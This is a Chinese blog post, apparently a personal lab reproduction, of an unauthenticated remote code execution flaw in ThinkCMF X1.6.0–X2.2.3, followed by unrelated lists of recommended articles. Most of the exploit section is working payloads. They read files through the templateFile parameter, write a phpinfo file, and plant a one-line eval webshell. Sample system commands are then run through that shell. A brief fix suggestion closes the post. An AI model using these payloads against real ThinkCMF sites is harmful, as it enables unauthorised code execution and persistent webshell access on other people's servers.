thinkcmf 文件包含 x1.6.0-x2.2.3 已亲自复现

thinkcmf 文件包含 x1.6.0-x2.2.3 CVE-2019-16278 已亲自复现

漏洞名称

漏洞描述

ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建。ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展。

远程攻击者在无需任何权限情况下,通过构造特定的请求包即可在远程服务器上执行任意代码。

影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2

漏洞复现

环境搭建

受害者IP:192.168.63.129:9390
攻击者IP:192.168.63.1

vulfocus下载链接

https://github.com/fofapro/vulfocus
git clone https://github.com/fofapro/vulfocus.git

启动vulfocus

docker-compose up -d 

环境启动后,访问http://192.168.63.129:9390即可看到一个thinkphp页面,说明已成功启动。

漏洞利用

直接干货,不墨迹

/?a=display&templateFile=README.md

在这里插入图片描述

/?a=display&templateFile=config.yaml

在这里插入图片描述

写入phpinfo文件

?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php phpinfo(); ?>')</php>

在这里插入图片描述

访问1.php

在这里插入图片描述

写入一句话木马,2.php

/?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('2.php','<?php eval($_GET["red"]);?>')</php>

在这里插入图片描述

访问2.php执行系统命令

/2.php?red=system("ls /tmp");
/2.php?red=system(id);
/2.php?red=system(whoami);

在这里插入图片描述

修复建议

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

总结

相关推荐

  1. 使用Tensorflow2.xuxnet3D

    2023-12-28 15:08:03       40 阅读
  2. React@16.x23)useEffect

    2023-12-28 15:08:03       43 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2023-12-28 15:08:03       94 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2023-12-28 15:08:03       100 阅读
  3. 在Django里面运行非项目文件

    2023-12-28 15:08:03       82 阅读
  4. Python语言-面向对象

    2023-12-28 15:08:03       91 阅读

热门阅读

  1. Vue.js

    Vue.js

    2023-12-28 15:08:03      41 阅读
  2. 如何判断网站服务器的访问承载量?

    2023-12-28 15:08:03       54 阅读
  3. html隐藏元素的方法

    2023-12-28 15:08:03       55 阅读
  4. Tomcat使用手册

    2023-12-28 15:08:03       45 阅读
  5. CSS标准盒子模型和怪异盒子模型

    2023-12-28 15:08:03       53 阅读
  6. 自然语言处理(NLP)技术

    2023-12-28 15:08:03       59 阅读
  7. Linux用wget/curl 发起post请求

    2023-12-28 15:08:03       57 阅读
  8. Leetcode4-唯一元素的和(1748)

    2023-12-28 15:08:03       46 阅读
  9. 树莓派非常实用的程序-1 tvservice

    2023-12-28 15:08:03       51 阅读
  10. Qt+opencv 视频分解为图片

    2023-12-28 15:08:03       67 阅读
  11. uniapp 设置某个页面横屏显示

    2023-12-28 15:08:03       55 阅读
  12. Bash快捷键

    2023-12-28 15:08:03       59 阅读
  13. docker 容器中 bash: vi: command not found

    2023-12-28 15:08:03       62 阅读
  14. ES-搜索

    ES-搜索

    2023-12-28 15:08:03      64 阅读
  15. redis如何批量删除key

    2023-12-28 15:08:03       53 阅读
  16. GPT Zero 是什么?

    2023-12-28 15:08:03       62 阅读